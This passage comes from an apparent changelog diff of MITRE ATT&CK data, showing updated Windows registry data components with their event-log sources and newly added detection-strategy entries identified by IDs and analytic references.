\"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:37.143000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0056", + "external_id": "DC0056" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry Key Creation", + "description": "Initial construction of a new registry key within the Windows operating system. \n\n*Data Collection Measures:* \n\n- Windows Event Logs\n - Event ID 4656 - Registry Object Handle Requested: Tracks registry key access, including newly created keys.\n - Event ID 4657 - Registry Value Modification: Detects modifications to an existing registry key after creation.\n- Sysmon (System Monitor) for Windows\n - Sysmon Event ID 12 - Registry Key Created: Logs when a new registry key is created.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0056\", \"external_id\": \"DC0056\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=12\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.143000+00:00\", \"old_value\": \"2025-04-18 15:12:09.376000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0045", + "external_id": "DC0045" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry Key Deletion", + "description": "The removal of a registry key within the Windows operating system.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4658 - Registry Key Handle Closed: Captures when a handle to a registry key is closed, which may indicate deletion.\n - Event ID 4660 - Object Deleted: Logs when a registry key is deleted.\n- Sysmon (System Monitor) for Windows\n - Sysmon Event ID 12 - Registry Key Deleted: Logs when a registry key is removed.\n - Sysmon Event ID 13 - Registry Value Deleted: Captures removal of specific registry values.\n- Endpoint Detection and Response (EDR) Solutions\n - Monitor registry deletions for suspicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Windows Registry", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0045\", \"external_id\": \"DC0045\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Windows Registry\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:12:03.268000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-22 18:34:46.572000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0063", + "external_id": "DC0063" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry Key Modification", + "description": "Changes made to an existing registry key or its values. These modifications can include altering permissions, modifying stored data, or updating configuration settings.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4657 - Registry Value Modified: Logs changes to registry values, including modifications to startup entries, security settings, or system configurations.\n- Sysmon (System Monitor) for Windows\n - Sysmon Event ID 13 - Registry Value Set: Captures changes to specific registry values.\n - Sysmon Event ID 14 - Registry Key & Value Renamed: Logs renaming of registry keys, which may indicate evasion attempts.\n- Endpoint Detection and Response (EDR) Solutions\n - Monitor registry modifications for suspicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Windows Registry", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=14" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components" + }, + { + "name": "m365:unified", + "channel": "MacroSecuritySettingsChanged or SafeModeDisabled" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + }, + { + "name": "WinEventLog:Security", + "channel": "modification to Winlogon registry keys such as Shell, Notify, or Userinit" + }, + { + "name": "WinEventLog:Security", + "channel": "Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast" + }, + { + "name": "macos:unifiedlog", + "channel": "g_CiOptions modification or SIP state change" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Autoruns reports DLLs in AppInit_DLLs key" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0063\", \"external_id\": \"DC0063\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Windows Registry\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=13\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4657\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=14\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"StubPath value written under HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\"}, {\"name\": \"m365:unified\", \"channel\": \"MacroSecuritySettingsChanged or SafeModeDisabled\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=13, 14\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"modification to Winlogon registry keys such as Shell, Notify, or Userinit\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"Registry key modification HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient\\\\EnableMulticast\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"g_CiOptions modification or SIP state change\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Autoruns reports DLLs in AppInit_DLLs key\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 18:34:46.572000+00:00\", \"old_value\": \"2025-04-18 15:11:59.993000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + } + ], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "detectionstrategies": { + "additions": [ + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ba7a75c6-fcf5-4f36-8908-1fe1c30f690f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0210", + "external_id": "DET0210" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Abuse of Domain Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c7706ddb-cf88-41c7-981b-a5e1bf6cfcfc", + "x-mitre-analytic--74aade7b-b61a-46d0-a68b-33fba4f09f6e", + "x-mitre-analytic--96050801-dc36-462f-982e-df2806eaa3ea", + "x-mitre-analytic--f931e587-28f8-4923-b054-98d6348dcafe" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--48e8d8b1-0117-48bd-a32d-f4e43b665bf3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0413", + "external_id": "DET0413" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Abuse of Information Repositories for Data Collection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7dce56f3-43db-4787-ae13-bd2ce6851088", + "x-mitre-analytic--59faf79f-831d-436b-9ce3-e5c1d338da6c", + "x-mitre-analytic--3655f892-ed0d-4b76-9173-ecb7eebacd8a", + "x-mitre-analytic--eac7b88d-0ee2-4fbf-9e0b-ea73c376ccb3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--72b209e2-8c65-4217-8532-fabd0cb54ae5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0455", + "external_id": "DET0455" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Abuse of PowerShell for Arbitrary Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--78864416-9ea3-4285-aab4-ecf31c935253" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--655a8556-c82d-4148-b52a-7bc48fe7ce20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120", + "external_id": "DET0120" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Account Access Removal via Multi-Platform Audit Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7d0595b9-eca7-488d-bbc2-ed02ff4ced9b", + "x-mitre-analytic--a941dd04-5626-4091-9eed-300d7d7f0a1f", + "x-mitre-analytic--adbe8ef2-15e5-4fb9-83d8-4c67b7b1be78", + "x-mitre-analytic--2c5d3103-2b9c-4b56-b415-c01e055fff64", + "x-mitre-analytic--ba6c8c55-ee38-4219-a426-a3f1e04c7a8a", + "x-mitre-analytic--af7bff30-45c5-4baf-9ced-68208b7ae836" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d6c4cc3b-6875-4288-8193-bf4c864560ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096", + "external_id": "DET0096" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Account Manipulation Behavior Chain Detection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--842ba5ee-dcd0-42bd-9ef8-867a4ab1c703", + "x-mitre-analytic--0eb6cf59-4ba8-4cea-b64a-686ce7c69f70", + "x-mitre-analytic--616ccbf4-08f2-4b54-8e41-a8e362e31827", + "x-mitre-analytic--5c69f3b9-8f73-455e-8eb1-5281cd6ce6d5", + "x-mitre-analytic--74565d24-df58-49b6-86e0-01a03d6dc2a7", + "x-mitre-analytic--eb4a55f0-eff2-40f8-912e-43ba7e34603c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--430abda8-2a2c-4ab8-bbd6-eb205a189362", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0415", + "external_id": "DET0415" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Exhaustion Flood Detection Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0b514d96-12ce-41e2-b870-b35933d7faa6", + "x-mitre-analytic--35c7be24-c1c0-4ddc-9356-dec5e39414be", + "x-mitre-analytic--ade844ef-f156-4db2-bc11-9dbdc006c8d6", + "x-mitre-analytic--867239cd-7939-446c-9efb-b2a7a5bd5403" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--da5ff985-fd0d-438f-8498-c8dc195f741a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0397", + "external_id": "DET0397" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Automated Exfiltration Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4a92d2e9-fc28-4eac-9b3d-113e74d7bf2d", + "x-mitre-analytic--31adce9b-8935-4abf-aaf2-0a13047e25e4", + "x-mitre-analytic--031ed94b-50d9-451e-a853-29ee8d845773" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5e9a51b5-7e4a-4e78-a1ba-215ce937c877", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0186", + "external_id": "DET0186" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Automated File and API Collection Detection Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--29433de9-360e-4189-9f6d-fb00c9a57e41", + "x-mitre-analytic--70df3731-9576-4450-bd32-0f52cc8f0ec3", + "x-mitre-analytic--f6ad51e5-b869-455d-acb1-ef725acb27cb", + "x-mitre-analytic--00b2801f-752e-4b70-95fd-c2644ccef671" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a3bdd6e2-92d3-45db-a486-9f051c68672b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0088", + "external_id": "DET0088" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Backup Software Discovery via CLI, Registry, and Process Inspection (T1518.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dbc6d9ca-9502-46a0-a59b-15b050bb539c", + "x-mitre-analytic--93918e31-51b1-4d85-8b16-590871c2cc1f", + "x-mitre-analytic--e3c81570-be1b-48c8-b000-b70173c5c226" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cf6a38ec-4c16-4c7f-8730-6e04f6dd6e67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0280", + "external_id": "DET0280" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-Based Registry Modification Detection on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--de8d67d4-9d2a-4379-be8b-3ae3f3b3ac75" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ec412019-109f-4f84-aa2f-d623f40254e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0496", + "external_id": "DET0496" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ba2056ee-77d7-49d4-a993-5806506964df", + "x-mitre-analytic--d90a4f16-b5e1-4daa-bf65-91112fe02761", + "x-mitre-analytic--97f27df6-5041-437b-9aeb-58a9bc33a376" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1f6a450a-fd29-4e5c-9708-1ae4616c28c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0124", + "external_id": "DET0124" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--861ee805-c979-44c9-8b0c-86bd3a6f5872", + "x-mitre-analytic--904100f0-1af9-4ded-89be-dfda7180bcbc", + "x-mitre-analytic--5eefb166-8f2b-45e0-b5c8-bf71984dec08", + "x-mitre-analytic--1b53dd1b-c98e-4b25-a7fd-70dad586ebf1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8bcafe59-0a4b-4314-988b-085bf5cdf7a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0326", + "external_id": "DET0326" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b8dea721-8e0d-4bcd-bde4-6609afd595e5", + "x-mitre-analytic--09125bb1-29eb-4d40-994a-2e1aa7bcd105", + "x-mitre-analytic--bdc546bb-9d92-489e-8aa8-8de1bd08f320", + "x-mitre-analytic--e518b7e5-6e98-43f6-86c2-f45f684c650f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e9833c3c-b5ec-421b-bab4-91f74c2b6bd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0354", + "external_id": "DET0354" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--63583dcb-dbdc-4b9d-a261-3129de12327e", + "x-mitre-analytic--a3bca3ec-fd25-4b9d-bbce-9575ba96b8ef", + "x-mitre-analytic--14f4930e-a2a5-45ae-9552-837c0a35e06b", + "x-mitre-analytic--04fcf3d4-4547-4e64-bbb7-9faa46dda1f6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--774bbba8-45c2-403d-a445-3a64b3679faf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0283", + "external_id": "DET0283" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1134 Access Token Manipulation on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c4cabd45-86a2-4842-9171-dff93f6ac737" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0b06e42c-ab1c-4fb7-834b-10293e904173", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0482", + "external_id": "DET0482" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b76aeebb-3915-48ed-ac35-6af54c88c3bb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--78aa8d17-c96f-4ba9-b431-f91157f38553", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 